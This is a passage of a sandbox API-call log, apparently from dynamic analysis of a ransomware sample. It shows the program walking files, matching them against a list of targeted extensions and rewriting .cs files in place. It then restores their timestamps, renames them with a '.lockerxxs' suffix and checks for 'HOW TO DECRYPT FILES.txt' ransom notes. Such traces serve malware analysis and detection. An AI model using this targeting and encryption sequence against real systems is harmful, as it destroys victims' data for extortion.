(pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.ems") returned 0 [0137.084] lstrlenA (lpString="*.ems") returned 5 [0137.084] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.db") returned 0 [0137.084] lstrlenA (lpString="*.db") returned 4 [0137.084] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.dbf") returned 0 [0137.084] lstrlenA (lpString="*.dbf") returned 5 [0137.084] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.myox") returned 0 [0137.085] lstrlenA (lpString="*.myox") returned 6 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.myo") returned 0 [0137.085] lstrlenA (lpString="*.myo") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbw") returned 0 [0137.085] lstrlenA (lpString="*.qbw") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbb") returned 0 [0137.085] lstrlenA (lpString="*.qbb") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbm") returned 0 [0137.085] lstrlenA (lpString="*.qbm") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbo") returned 0 [0137.085] lstrlenA (lpString="*.qbo") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbx") returned 0 [0137.085] lstrlenA (lpString="*.qbx") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qba") returned 0 [0137.085] lstrlenA (lpString="*.qba") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qby") returned 0 [0137.085] lstrlenA (lpString="*.qby") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qbj") returned 0 [0137.085] lstrlenA (lpString="*.qbj") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.ofx") returned 0 [0137.085] lstrlenA (lpString="*.ofx") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.qif") returned 0 [0137.085] lstrlenA (lpString="*.qif") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.mye") returned 0 [0137.085] lstrlenA (lpString="*.mye") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.mbox") returned 0 [0137.085] lstrlenA (lpString="*.mbox") returned 6 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.eml") returned 0 [0137.085] lstrlenA (lpString="*.eml") returned 5 [0137.085] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.pst") returned 0 [0137.086] lstrlenA (lpString="*.pst") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.ost") returned 0 [0137.086] lstrlenA (lpString="*.ost") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.idx") returned 0 [0137.086] lstrlenA (lpString="*.idx") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.dbx") returned 0 [0137.086] lstrlenA (lpString="*.dbx") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.sql") returned 0 [0137.086] lstrlenA (lpString="*.sql") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.mdb") returned 0 [0137.086] lstrlenA (lpString="*.mdb") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.fdb") returned 0 [0137.086] lstrlenA (lpString="*.fdb") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.wab") returned 0 [0137.086] lstrlenA (lpString="*.wab") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.dat") returned 0 [0137.086] lstrlenA (lpString="*.dat") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.txt") returned 0 [0137.086] lstrlenA (lpString="*.txt") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.jpeg") returned 0 [0137.086] lstrlenA (lpString="*.jpeg") returned 6 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.jpg") returned 0 [0137.086] lstrlenA (lpString="*.jpg") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.png") returned 0 [0137.086] lstrlenA (lpString="*.png") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.php") returned 0 [0137.086] lstrlenA (lpString="*.php") returned 5 [0137.086] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", pszSpec="*.cs") returned 1 [0137.086] lstrlenA (lpString="*.cs") returned 4 [0137.087] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" [0137.087] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" [0137.087] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs." [0137.087] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.lockerxxs" [0137.087] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.088] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1276 [0137.088] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9f005940, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.088] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.088] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1250, lpOverlapped=0x0) returned 1 [0137.092] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs") returned="ProvidersPage.cs" [0137.092] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.092] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1250, lpOverlapped=0x0) returned 1 [0137.092] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.092] CloseHandle (hObject=0x94) returned 1 [0137.092] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs.lockerxxs")) returned 1 [0137.093] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0xce0001cf, dwReserved1=0x4e00c4, cFileName="SecurityPage.cs", cAlternateFileName="SECURI~1.CS")) returned 1 [0137.093] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.093] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityPage.cs") returned -1 [0137.093] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityPage.cs") returned -1 [0137.093] lstrcmpiA (lpString1="", lpString2="SecurityPage.cs") returned -1 [0137.093] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs") returned="ProvidersPage.cs" [0137.093] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.093] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.093] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.093] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.093] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="SecurityPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.ems") returned 0 [0137.094] lstrlenA (lpString="*.ems") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.db") returned 0 [0137.094] lstrlenA (lpString="*.db") returned 4 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.dbf") returned 0 [0137.094] lstrlenA (lpString="*.dbf") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.myox") returned 0 [0137.094] lstrlenA (lpString="*.myox") returned 6 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.myo") returned 0 [0137.094] lstrlenA (lpString="*.myo") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbw") returned 0 [0137.094] lstrlenA (lpString="*.qbw") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbb") returned 0 [0137.094] lstrlenA (lpString="*.qbb") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbm") returned 0 [0137.094] lstrlenA (lpString="*.qbm") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbo") returned 0 [0137.094] lstrlenA (lpString="*.qbo") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbx") returned 0 [0137.094] lstrlenA (lpString="*.qbx") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qba") returned 0 [0137.094] lstrlenA (lpString="*.qba") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qby") returned 0 [0137.094] lstrlenA (lpString="*.qby") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qbj") returned 0 [0137.094] lstrlenA (lpString="*.qbj") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.ofx") returned 0 [0137.094] lstrlenA (lpString="*.ofx") returned 5 [0137.094] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.qif") returned 0 [0137.094] lstrlenA (lpString="*.qif") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.mye") returned 0 [0137.095] lstrlenA (lpString="*.mye") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.mbox") returned 0 [0137.095] lstrlenA (lpString="*.mbox") returned 6 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.eml") returned 0 [0137.095] lstrlenA (lpString="*.eml") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.pst") returned 0 [0137.095] lstrlenA (lpString="*.pst") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.ost") returned 0 [0137.095] lstrlenA (lpString="*.ost") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.idx") returned 0 [0137.095] lstrlenA (lpString="*.idx") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.dbx") returned 0 [0137.095] lstrlenA (lpString="*.dbx") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.sql") returned 0 [0137.095] lstrlenA (lpString="*.sql") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.mdb") returned 0 [0137.095] lstrlenA (lpString="*.mdb") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.fdb") returned 0 [0137.095] lstrlenA (lpString="*.fdb") returned 5 [0137.095] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.wab") returned 0 [0137.095] lstrlenA (lpString="*.wab") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.dat") returned 0 [0137.096] lstrlenA (lpString="*.dat") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.txt") returned 0 [0137.096] lstrlenA (lpString="*.txt") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.jpeg") returned 0 [0137.096] lstrlenA (lpString="*.jpeg") returned 6 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.jpg") returned 0 [0137.096] lstrlenA (lpString="*.jpg") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.png") returned 0 [0137.096] lstrlenA (lpString="*.png") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.php") returned 0 [0137.096] lstrlenA (lpString="*.php") returned 5 [0137.096] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", pszSpec="*.cs") returned 1 [0137.096] lstrlenA (lpString="*.cs") returned 4 [0137.096] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" [0137.096] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" [0137.096] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs." [0137.096] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.lockerxxs" [0137.096] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.098] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbd6 [0137.098] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9f051c00, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.098] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.098] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbb0, lpOverlapped=0x0) returned 1 [0137.102] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs") returned="SecurityPage.cs" [0137.102] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.102] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbb0, lpOverlapped=0x0) returned 1 [0137.103] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.103] CloseHandle (hObject=0x94) returned 1 [0137.103] MoveFileA 